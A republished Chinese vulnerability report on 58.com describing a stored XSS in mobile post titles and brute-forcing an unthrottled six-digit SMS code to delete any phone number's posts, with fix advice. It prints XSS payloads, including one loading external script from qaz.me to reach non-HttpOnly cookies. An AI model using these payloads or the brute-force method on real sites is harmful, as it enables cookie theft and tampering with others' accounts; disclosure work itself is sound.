网站地图    收藏   

主页 > 后端 > 网站安全 >

58同城存储型XSS ( 25个字符加载JS ) + 任意手机号码

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 不说了 之前把精力全耗在主域上面 另外感谢parsec众基友的思路跟短域名详细说明:挖漏洞实在挖到太晚了 没精力写详细了 就这样写吧 忘谅解!看在这么努力挖洞的份上别走小厂商流程...

不说了 之前把精力全耗在主域上面 另外感谢parsec众基友的思路跟短域名

漏洞实在挖到太晚了 没精力写详细了 就这样写吧 忘谅解!看在这么努力挖洞的份上别走小厂商流程了把!


http://m.58.com/cs/cwzengsong/18047282901898x.shtml?refrom=wap

问题存在于发表一个帖子的标题处
 

QQ20140813-2.png



这是截图。在pc端的网页上 标题也输出在了 meta 的content 里 但是由于25个字符的限制导致不能造成比较有影响力的漏洞(在这里耗费了很长的时间尝试去绕过)。。。

后来转念一想 不是还有m.58 的手机网页么 就访问下手机域名下的这个帖子

发现 标题有三处输出 其中一处被带入了 script 内。

测试一下发现 双引号未过滤 妥了 写代码。

看图:
 

2CCC3242-BED5-43EC-A05A-5FD390C68E37.jpg





代码如下:

<script>window._bd_share_config={"common":{"bdSnsKey":{},"bdText":"【租房 买房 找工作 找服务就上手机58|m.58.com】"+alert(1)+" - 雨花宠物赠送/领养 - 长沙58同城","bdMini":"2","bdMiniList":false,"bdPic":"","bdStyle":"0","bdSize":"32"},"share":{}};with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion='+~(-new Date()/36e5)];</script>



payload :"+alert(1)+" 花了12个字符

本想就此打住提交的 结果parsec群里的几个基友就开始说了 怎么不加载钩子什么的

(之前我稍微看了下没jquery 就放弃了 后来发现jquery 被改名了 改成jq了 然后我立马斗志就来了)



再加上索马里的海贼的短域名 qaz.me相助 就更加有信心了

于是再次构造payload 来加载js



最终payload: "+loadJS("//qaz.me")+" (22字符)



最终以22字符的payload 成功加载外部js

cookie 未做httponly



上张图:
 

QQ20140813-4.png





另外一个就是任意手机号码的帖子删除
 

QQ20140813-3.png



在这个界面可以查询手机号发了哪些帖子


 

QQ20140813-5.png





选中其中一条删除 就会发送6为纯数字的验证码到手机上 又没对验证码做时间限制。也没对客户端所提交的验证码次数进行限制。



上图一张:
 

QQ20140813-6.png





当提交的payload 为793196时就正确了 返回值为true 也确实删除了!


 

 

 

修复方案:

xss 修复的话 你们虽然限制了长度 可是你们引用的一些js 的类 库 可以当做我们的帮手。你直接去除了' 号 那么也过滤掉"号吧 还有一些危险的函数也过滤掉! 反正xss的修复方法那么多 也不差我这一个



任意帖子的删除的话,验证码设置有效时间。客户端所提交验证码次数应该有限

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论